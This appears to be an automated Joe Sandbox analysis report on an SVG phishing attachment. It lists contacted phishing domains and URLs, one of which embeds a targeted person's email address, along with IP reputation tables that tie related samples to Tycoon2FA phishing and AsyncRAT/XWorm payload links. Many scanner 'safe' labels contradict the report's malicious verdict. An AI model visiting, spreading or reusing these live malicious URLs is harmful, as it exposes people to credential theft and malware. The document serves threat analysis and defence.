C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://behy.jsrjesdc.ru/op0984BX9rlOqTsojzuUfJrJeHeftir0hCkKo95mT5eP1smZqp67135	0%	Avira URL Cloud	safe
https://rtmtg91pobvpmc86nxeta0wcjtrzwejcmz814ncsmt8xou3nahoupgbspq.zoraxw.es/fahvmphzjxesjxoekjgepnuKDyHVsFMJKFVWLADRITGNITFFWAXROJRROWHRRODTNMyz0BuUY17myffW56eW3bpVhtqr47	0%	Avira URL Cloud	safe
https://behy.jsrjesdc.ru/opWax8K0kdg1nyxzMrY5tjeSWXO2Zs87redyVLNuvt6CFeqk0ZNX7LljRxg3fQef195	0%	Avira URL Cloud	safe
https://behy.jsrjesdc.ru/xy6iyAYh6ursqutHef30	0%	Avira URL Cloud	safe
https://behy.jsrjesdc.ru/stRLYrBaFUwXBc91wj7t9hxG3FHyoEbicu8rOng458D8YNtUyJ3EGcB1DcT3Def255	0%	Avira URL Cloud	safe
https://rtmtg91pobvpmc86nxeta0wcjtrzwejcmz814ncsmt8xou3nahoupgbspq.zoraxw.es/fahvmphzjxesjxoekjgepnuKDyHVsFMJKFVWLADRITGNITFFWAXROJRROWHRRODTNMpq6OJeUGo8PIMEvjVOqzyzkZJDRvFuv33	0%	Avira URL Cloud	safe
https://behy.jsrjesdc.ru/ij6jAsdI2JvNjJ0wmc9VJfm4zSrlJZ8yfIY54yj09qm0baTil28PUSZlfxRxemxS6uuYFdSutCInoetDEJoLssJXvdkkzKCn6ElVoEeG94VNtvCmOI9VZ1cSrOGskwx613	0%	Avira URL Cloud	safe
http://prismstandard.org/namespaces/prismusagerights/2.1/	0%	Avira URL Cloud	safe
https://behy.jsrjesdc.ru/rinnJTnNQBusDG268KUc2jNOCcj8kD3zcagxcq	0%	Avira URL Cloud	safe
https://behy.jsrjesdc.ru/bcPOzBscrSmAFLpAg2cTQsnCCn8y62vf7DshVXSAmv4zv25ySFNyd1BAJG45j1ayMBJMwTCBX39gc3KQ361Fx23eFl6m0oYbClKfBfVzOhbe2oFbwrT2Eoj6O49mayQeE5zP8SivGuxJ6SPXiop600	0%	Avira URL Cloud	safe
https://rtmtg91pobvpmc86nxeta0wcjtrzwejcmz814ncsmt8xou3nahoupgbspq.zoraxw.es/fahvmphzjxesjxoekjgepnuKDyHVsFMJKFVWLADRITGNITFFWAXROJRROWHRRODTNM12rYcKzjCVq784gTpjop50	0%	Avira URL Cloud	safe
https://behy.jsrjesdc.ru/GDSherpa-vf.woff2	0%	Avira URL Cloud	safe
https://behy.jsrjesdc.ru/GDSherpa-regular.woff	0%	Avira URL Cloud	safe
https://behy.jsrjesdc.ru/GDSherpa-bold.woff	0%	Avira URL Cloud	safe
https://behy.jsrjesdc.ru/favicon.ico	0%	Avira URL Cloud	safe
https://behy.jsrjesdc.ru/ghN7YKDXeyb0GL4r1xIvlEZmgF1M0mnqVHp3U5SU5vx5snj2ef209	0%	Avira URL Cloud	safe
https://behy.jsrjesdc.ru/GDSherpa-bold.woff2	0%	Avira URL Cloud	safe
https://behy.jsrjesdc.ru/GDSherpa-vf2.woff2	0%	Avira URL Cloud	safe
https://rtmtg91pobvpmc86nxeta0wcjtrzwejcmz814ncsmt8xou3nahoupgbspq.zoraxw.es/fahvmphzjxesjxoekjgepnuKDyHVsFMJKFVWLADRITGNITFFWAXROJRROWHRRODTNMyz6y4jFj079e780wwK2op48	0%	Avira URL Cloud	safe
https://behy.jsrjesdc.ru/34RK4DICgWUTznbabQQp8A8920	0%	Avira URL Cloud	safe
https://behy.jsrjesdc.ru/ef5nYzTF0HsTTVBSha9MDnKCm0UU0X77DqlbaEu9apYItaFt0tE61eMbPUF4h51R34PuUidUXsiXfj1HXQn4tu5VLtgnsU2BA4MTIZhygdymZrQ6wkYh89yCEFWvGaUCFDJlzSA9zLfQsst610	0%	Avira URL Cloud	safe
https://pct4ja.qxwhvv.ru/kabutar$hfrbm	0%	Avira URL Cloud	safe
https://behy.jsrjesdc.ru/34LpeV5bSmnKxZRl6RWjeoghlj7KbqEj89106	0%	Avira URL Cloud	safe
https://behy.jsrjesdc.ru/klyXBPhaHFydFHgHTWK5GrhUl25HVGgEcfXuyz08SoAlRljAkQegqRo8vzq56169	0%	Avira URL Cloud	safe
https://behy.jsrjesdc.ru/rqMHiYH6TrbP1joQZFS2wqf62x2ghz0nP0jzmioljy	0%	Avira URL Cloud	safe
https://behy.jsrjesdc.ru/7PIWi2mf/	0%	Avira URL Cloud	safe
https://behy.jsrjesdc.ru/efxw11nWIZVsZYy8TMDAi2bdsgdkl2FUwtNiKLDzQSLn90145	0%	Avira URL Cloud	safe
https://behy.jsrjesdc.ru/yzrjp938veRH4si417Wp90mLjrs93TyryZMQ9gANbyjUy6lbjyVmyIiab180	0%	Avira URL Cloud	safe
https://behy.jsrjesdc.ru/GDSherpa-regular.woff2	0%	Avira URL Cloud	safe
https://behy.jsrjesdc.ru/opQxMlgnJuaTwX2W7N3a63opklqC1uuFTcwRo8bsPvl12mfwf6sqyemzcp1qrjP7bweIPwF3Lfef240	0%	Avira URL Cloud	safe
https://behy.jsrjesdc.ru/rvvLEm7bQ37PJEZMmOit9MBsiKrZNQgbp7eRlKbjRmlRoxiEijt3XLoa1UOgz	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
developers.cloudflare.com	104.16.3.189	true	false	high
rtmtg91pobvpmc86nxeta0wcjtrzwejcmz814ncsmt8xou3nahoupgbspq.zoraxw.es	188.114.96.3	true	false	unknown
github.com	140.82.121.3	true	false	high
behy.jsrjesdc.ru	188.114.97.3	true	true	unknown
pct4ja.qxwhvv.ru	188.114.96.3	true	false	unknown
code.jquery.com	151.101.2.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
get.geojs.io	172.67.70.233	true	false	high
www.google.com	142.250.185.196	true	false	high
d19d360lklgih4.cloudfront.net	13.33.187.96	true	false	high
objects.githubusercontent.com	185.199.109.133	true	false	high
ok4static.oktacdn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7	false		high
https://behy.jsrjesdc.ru/stRLYrBaFUwXBc91wj7t9hxG3FHyoEbicu8rOng458D8YNtUyJ3EGcB1DcT3Def255	false	Avira URL Cloud: safe	unknown
https://behy.jsrjesdc.ru/xy6iyAYh6ursqutHef30	false	Avira URL Cloud: safe	unknown
https://behy.jsrjesdc.ru/op0984BX9rlOqTsojzuUfJrJeHeftir0hCkKo95mT5eP1smZqp67135	false	Avira URL Cloud: safe	unknown
https://behy.jsrjesdc.ru/opWax8K0kdg1nyxzMrY5tjeSWXO2Zs87redyVLNuvt6CFeqk0ZNX7LljRxg3fQef195	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://rtmtg91pobvpmc86nxeta0wcjtrzwejcmz814ncsmt8xou3nahoupgbspq.zoraxw.es/fahvmphzjxesjxoekjgepnuKDyHVsFMJKFVWLADRITGNITFFWAXROJRROWHRRODTNMyz0BuUY17myffW56eW3bpVhtqr47	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=iIOuUexSHN8c7bje4cu2nhG%2FrunohEsNi3rIQIdXwDG4GhH0rjXxyOLNdBuYX8gmiYMJ8n1ixRTjGpSKqTns37e6uX1vYGcFH0pvfsaqt%2BxX%2FX1ECfBqhBNLa0xV	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://behy.jsrjesdc.ru/rinnJTnNQBusDG268KUc2jNOCcj8kD3zcagxcq	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=v110QmcskY4D%2FAfJLRbC7ZSDLcvn%2BKTqKbXYH1htJ9wkEEM%2FIoU4w2lyVORotqCUHlxvwWAKFbVcw3EUuSAikym1LEYvQCyZEp0bAON9RPmlZXUeWObTdgAbppsj	false		high
https://a.nel.cloudflare.com/report/v4?s=tyKiuVMW7LUzfopp7X84ci780FEnzeCnXUXhwNH4uv74Kf%2FImvufbLsqGtMTsjthFZBOamLPujz%2BGAb0QqU4DrK5rurcHrDkVR2%2B1Af4rRAclhhejZlOhhlt6eIm	false		high
https://behy.jsrjesdc.ru/ij6jAsdI2JvNjJ0wmc9VJfm4zSrlJZ8yfIY54yj09qm0baTil28PUSZlfxRxemxS6uuYFdSutCInoetDEJoLssJXvdkkzKCn6ElVoEeG94VNtvCmOI9VZ1cSrOGskwx613	false	Avira URL Cloud: safe	unknown
https://behy.jsrjesdc.ru/bcPOzBscrSmAFLpAg2cTQsnCCn8y62vf7DshVXSAmv4zv25ySFNyd1BAJG45j1ayMBJMwTCBX39gc3KQ361Fx23eFl6m0oYbClKfBfVzOhbe2oFbwrT2Eoj6O49mayQeE5zP8SivGuxJ6SPXiop600	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css	false		high
https://behy.jsrjesdc.ru/7PIWi2mf/#Fr.bik@geometius.nl	false		unknown
https://rtmtg91pobvpmc86nxeta0wcjtrzwejcmz814ncsmt8xou3nahoupgbspq.zoraxw.es/fahvmphzjxesjxoekjgepnuKDyHVsFMJKFVWLADRITGNITFFWAXROJRROWHRRODTNMpq6OJeUGo8PIMEvjVOqzyzkZJDRvFuv33	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/b/708f7a809116/api.js	false		high
https://rtmtg91pobvpmc86nxeta0wcjtrzwejcmz814ncsmt8xou3nahoupgbspq.zoraxw.es/fahvmphzjxesjxoekjgepnuKDyHVsFMJKFVWLADRITGNITFFWAXROJRROWHRRODTNM12rYcKzjCVq784gTpjop50	false	Avira URL Cloud: safe	unknown
https://behy.jsrjesdc.ru/GDSherpa-regular.woff	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://behy.jsrjesdc.ru/favicon.ico	false	Avira URL Cloud: safe	unknown
https://behy.jsrjesdc.ru/GDSherpa-vf.woff2	false	Avira URL Cloud: safe	unknown
https://behy.jsrjesdc.ru/ghN7YKDXeyb0GL4r1xIvlEZmgF1M0mnqVHp3U5SU5vx5snj2ef209	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css	false		high
https://behy.jsrjesdc.ru/GDSherpa-bold.woff	false	Avira URL Cloud: safe	unknown
https://behy.jsrjesdc.ru/GDSherpa-bold.woff2	false	Avira URL Cloud: safe	unknown
https://developers.cloudflare.com/favicon.png	false		high
https://a.nel.cloudflare.com/report/v4?s=3r9cEn7cSXmpR8BLAPAUNUIGVaC8VNWEy8IFAQb1FvSxBHXUAZrOtfVGe770d%2FGZcus9kXyoIzGyfakegJlpGdbA%2FTJb1e1k2Rti%2FWihGwQiaCMRgGE4v9yJsiyP	false		high
https://behy.jsrjesdc.ru/34RK4DICgWUTznbabQQp8A8920	false	Avira URL Cloud: safe	unknown
https://rtmtg91pobvpmc86nxeta0wcjtrzwejcmz814ncsmt8xou3nahoupgbspq.zoraxw.es/fahvmphzjxesjxoekjgepnuKDyHVsFMJKFVWLADRITGNITFFWAXROJRROWHRRODTNMyz6y4jFj079e780wwK2op48	false	Avira URL Cloud: safe	unknown
https://behy.jsrjesdc.ru/GDSherpa-vf2.woff2	false	Avira URL Cloud: safe	unknown
https://get.geojs.io/v1/ip/geo.json	false		high
https://behy.jsrjesdc.ru/ef5nYzTF0HsTTVBSha9MDnKCm0UU0X77DqlbaEu9apYItaFt0tE61eMbPUF4h51R34PuUidUXsiXfj1HXQn4tu5VLtgnsU2BA4MTIZhygdymZrQ6wkYh89yCEFWvGaUCFDJlzSA9zLfQsst610	false	Avira URL Cloud: safe	unknown
https://pct4ja.qxwhvv.ru/kabutar$hfrbm	false	Avira URL Cloud: safe	unknown
https://behy.jsrjesdc.ru/rqMHiYH6TrbP1joQZFS2wqf62x2ghz0nP0jzmioljy	false	Avira URL Cloud: safe	unknown
https://behy.jsrjesdc.ru/klyXBPhaHFydFHgHTWK5GrhUl25HVGgEcfXuyz08SoAlRljAkQegqRo8vzq56169	false	Avira URL Cloud: safe	unknown
https://behy.jsrjesdc.ru/efxw11nWIZVsZYy8TMDAi2bdsgdkl2FUwtNiKLDzQSLn90145	false	Avira URL Cloud: safe	unknown
https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP	true		unknown
https://behy.jsrjesdc.ru/34LpeV5bSmnKxZRl6RWjeoghlj7KbqEj89106	false	Avira URL Cloud: safe	unknown
https://behy.jsrjesdc.ru/7PIWi2mf/	true	Avira URL Cloud: safe	unknown
https://behy.jsrjesdc.ru/GDSherpa-regular.woff2	false	Avira URL Cloud: safe	unknown
https://behy.jsrjesdc.ru/yzrjp938veRH4si417Wp90mLjrs93TyryZMQ9gANbyjUy6lbjyVmyIiab180	false	Avira URL Cloud: safe	unknown
https://behy.jsrjesdc.ru/opQxMlgnJuaTwX2W7N3a63opklqC1uuFTcwRo8bsPvl12mfwf6sqyemzcp1qrjP7bweIPwF3Lfef240	false	Avira URL Cloud: safe	unknown
https://behy.jsrjesdc.ru/rvvLEm7bQ37PJEZMmOit9MBsiKrZNQgbp7eRlKbjRmlRoxiEijt3XLoa1UOgz	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.amazon.com	chromecache_139.1.dr	false		high
http://prismstandard.org/namespaces/prismusagerights/2.1/	chromecache_162.1.dr, chromecache_124.1.dr	false	Avira URL Cloud: safe	unknown
https://github.com/fent)	chromecache_163.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.33.187.14	unknown	United States	16509	AMAZON-02US	false
104.16.5.189	unknown	United States	13335	CLOUDFLARENETUS	false
185.199.109.133	objects.githubusercontent.com	Netherlands	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.16.3.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
140.82.121.3	github.com	United States	36459	GITHUBUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
142.250.185.196	www.google.com	United States	15169	GOOGLEUS	false
188.114.97.3	behy.jsrjesdc.ru	European Union	13335	CLOUDFLARENETUS	true
13.33.187.96	d19d360lklgih4.cloudfront.net	United States	16509	AMAZON-02US	false
188.114.96.3	rtmtg91pobvpmc86nxeta0wcjtrzwejcmz814ncsmt8xou3nahoupgbspq.zoraxw.es	European Union	13335	CLOUDFLARENETUS	false
172.67.70.233	get.geojs.io	United States	13335	CLOUDFLARENETUS	false
104.26.0.100	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16
192.168.2.5

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1643119
Start date and time:	2025-03-19 14:48:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	View Remittance_18032025.PDF J8TLBF6.9 KB for R.bik.svg
Detection:	MAL
Classification:	mal100.phis.evad.winSVG@25/87@40/17
Cookbook Comments:	Found application associated with file extension: .svg

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.60.203.209, 142.250.185.174, 172.217.18.3, 142.250.110.84, 142.250.185.78, 142.250.186.142, 216.58.212.142, 142.250.184.238, 216.58.206.78, 172.217.18.14, 142.250.186.78, 216.58.206.46, 142.250.186.170, 142.250.185.170, 216.58.206.74, 142.250.181.234, 142.250.184.202, 142.250.185.138, 142.250.185.234, 216.58.206.42, 142.250.185.74, 172.217.18.10, 142.250.185.202, 142.250.184.234, 172.217.16.138, 172.217.18.106, 142.250.185.106, 172.217.23.106, 142.250.181.227, 142.250.186.131, 142.250.185.142, 52.149.20.212, 20.105.99.58, 150.171.27.10
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, clientservices.googleapis.com, g.bing.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, e16604.dscf.akamaiedge.net, arc.msn.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com, prod.fs.microsoft.com.akadns.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.199.109.133	cr_asm3.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	gabe.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	5UIy3bo46y.dll	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	HQsitBLlOv.dll	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	steamcodegenerator.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	steamcodegenerator.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Get hash	malicious	Metasploit	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt
	SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Get hash	malicious	AsyncRAT, XWorm	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt
13.33.187.14	3414736839.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	MT103__1825367420#U00e2__.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	FaxLine832699141Sharepoint_USIUIYLCJZ_attach.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	message__0XSkcQEiS5ehXOfhSk9JKw_geopod_ismtpd_30_.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	MT103__8954724926#U00e2__.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	http://microsoft365online.mdshohelrana.com/access/authorize/vFoOn1l/mdiaz@estrellagalicia.es	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://dermatech-lab.com/wp/confirm.html	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	7274442614.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	VMail_39200330.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	437cb98f-02e6-3095-7a14-f6ed0fcbd9b6.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
104.16.5.189	MT103__1825367420#U00e2__.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	FaxLine832699141Sharepoint_USIUIYLCJZ_attach.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	ATT61918.svg	Get hash	malicious	Invisible JS, Tycoon2FA	Browse
	ATT61918.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://acrobat.adobe.com/id/urn:aaid:sc:EU:cef22cee-e97f-4efd-9256-9a2eaeaf8ce5	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://nr2.vesuperw.ru/IDnh/#Dkeyaccount@foster-uk.com	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://nr2.vesuperw.ru/IDnh/#Dkeyaccount@foster-uk.com	Get hash	malicious	Invisible JS, Tycoon2FA	Browse
	https://dermatech-lab.com/wp/confirm.html	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	Attached_image+from+ADMIN@weareworkspace.com.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	7274442614.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
code.jquery.com	https://rpc-cryptolive.com	Get hash	malicious	Unknown	Browse	151.101.130.137
	3414736839.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.66.137
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhH0PbOaM-2FozlgiDV4KjxhypvjZewbywGZ4Q7g1wJEm8gOHO-2Fj-2Fy-2BeuUQs1H9VVa-2Brw-3D-3DA1Is_kVOBfQCxFG4-2FXIG8yX-2FGfqi8-2BWigF8C7RpBSvNc2aGXOogUEviQR-2F9AW4AqQYutZIq3lAWf2XC63-2F3cBIBI8SQcUp5qgb33TJa8U97ZQ5cQdCEnEMPutRmDhXXK795CYEJe8HbeAxSgjYkIC801CRDbuheOUeU7jpL2caFIX7m5r1-2BUeK2nHNMjrKykedf2hRgzpHe7uHe79N9sO-2B91JbIs4NZci-2F59qir2l6689wL8-3D&c=E,1,C_-9gUIHEPOk9L8PCpP9cCALx1hNX2e1W8H8gSQ9Qow47gwGLsMxgWEZPUB0mUA4ruJudoUOzX2dY5WML5U_JEKzPaJ-lLU-19K4Ky7KwAIqQSqy_58,&typo=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	https://enervit.freshdesk.com/en/support/solutions/articles/156000285380-prossimo-cambio-di-qualit%C3%A0	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.66.137
	MT103__1825367420#U00e2__.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.130.137
	https://sceanmcommnunmnlty.com/siute/apxpw/zpq	Get hash	malicious	Unknown	Browse	151.101.194.137
	http://email.mg.dior.com.sg/c/eJwUy0uOhCAQANDTwJLUBwpdsJiN9ygK6CZq7Dhmzj_pA7xWBKxq8r1gjsS4AoF_l8iAiWysYzGVPNZsFoEqqg1tMPwsBJSAccHMgByi1kXYgKXnLpFchPMV2rzuYNcZfl_-KO_n-Tj-cbQ52lRqNqw9dZVFmhgYpL6mHPTY5zM_1xc62vxddBwuwn620Hb_V-g_AAD__9XhM88&	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.66.137
	FaxLine832699141Sharepoint_USIUIYLCJZ_attach.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	https://us.sa/xPuEb	Get hash	malicious	Unknown	Browse	151.101.66.137
	ATT61918.svg	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	151.101.130.137
developers.cloudflare.com	3414736839.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhH0PbOaM-2FozlgiDV4KjxhypvjZewbywGZ4Q7g1wJEm8gOHO-2Fj-2Fy-2BeuUQs1H9VVa-2Brw-3D-3DA1Is_kVOBfQCxFG4-2FXIG8yX-2FGfqi8-2BWigF8C7RpBSvNc2aGXOogUEviQR-2F9AW4AqQYutZIq3lAWf2XC63-2F3cBIBI8SQcUp5qgb33TJa8U97ZQ5cQdCEnEMPutRmDhXXK795CYEJe8HbeAxSgjYkIC801CRDbuheOUeU7jpL2caFIX7m5r1-2BUeK2nHNMjrKykedf2hRgzpHe7uHe79N9sO-2B91JbIs4NZci-2F59qir2l6689wL8-3D&c=E,1,C_-9gUIHEPOk9L8PCpP9cCALx1hNX2e1W8H8gSQ9Qow47gwGLsMxgWEZPUB0mUA4ruJudoUOzX2dY5WML5U_JEKzPaJ-lLU-19K4Ky7KwAIqQSqy_58,&typo=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	https://enervit.freshdesk.com/en/support/solutions/articles/156000285380-prossimo-cambio-di-qualit%C3%A0	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	MT103__1825367420#U00e2__.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.6.189
	http://email.mg.dior.com.sg/c/eJwUy0uOhCAQANDTwJLUBwpdsJiN9ygK6CZq7Dhmzj_pA7xWBKxq8r1gjsS4AoF_l8iAiWysYzGVPNZsFoEqqg1tMPwsBJSAccHMgByi1kXYgKXnLpFchPMV2rzuYNcZfl_-KO_n-Tj-cbQ52lRqNqw9dZVFmhgYpL6mHPTY5zM_1xc62vxddBwuwn620Hb_V-g_AAD__9XhM88&	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.6.189
	FaxLine832699141Sharepoint_USIUIYLCJZ_attach.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.5.189
	ATT61918.svg	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	104.16.5.189
	ATT61918.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	Munsch-Employee-Handbook.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.4.189
	Play Voicemail Transcription. (387.KB).svg	Get hash	malicious	HTMLPhisher	Browse	104.16.6.189
github.com	ImageG.exe.bin.exe	Get hash	malicious	NovaSentinel	Browse	140.82.112.3
	ImageG.exe.bin.exe	Get hash	malicious	NovaSentinel	Browse	140.82.121.4
	3414736839.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.121.3
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhH0PbOaM-2FozlgiDV4KjxhypvjZewbywGZ4Q7g1wJEm8gOHO-2Fj-2Fy-2BeuUQs1H9VVa-2Brw-3D-3DA1Is_kVOBfQCxFG4-2FXIG8yX-2FGfqi8-2BWigF8C7RpBSvNc2aGXOogUEviQR-2F9AW4AqQYutZIq3lAWf2XC63-2F3cBIBI8SQcUp5qgb33TJa8U97ZQ5cQdCEnEMPutRmDhXXK795CYEJe8HbeAxSgjYkIC801CRDbuheOUeU7jpL2caFIX7m5r1-2BUeK2nHNMjrKykedf2hRgzpHe7uHe79N9sO-2B91JbIs4NZci-2F59qir2l6689wL8-3D&c=E,1,C_-9gUIHEPOk9L8PCpP9cCALx1hNX2e1W8H8gSQ9Qow47gwGLsMxgWEZPUB0mUA4ruJudoUOzX2dY5WML5U_JEKzPaJ-lLU-19K4Ky7KwAIqQSqy_58,&typo=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.121.4
	https://enervit.freshdesk.com/en/support/solutions/articles/156000285380-prossimo-cambio-di-qualit%C3%A0	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.121.4
	MT103__1825367420#U00e2__.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.121.3
	FaxLine832699141Sharepoint_USIUIYLCJZ_attach.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.121.4
	ATT61918.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.121.3
	SecuriteInfo.com.W64.ABApplication.JMPI-0911.12846.7735.exe	Get hash	malicious	Unknown	Browse	140.82.121.4
	SecuriteInfo.com.W64.ABApplication.JMPI-0911.12846.7735.exe	Get hash	malicious	Unknown	Browse	140.82.121.3
cdnjs.cloudflare.com	https://opensea-nftpro5-eight.vercel.app	Get hash	malicious	Unknown	Browse	104.17.24.14
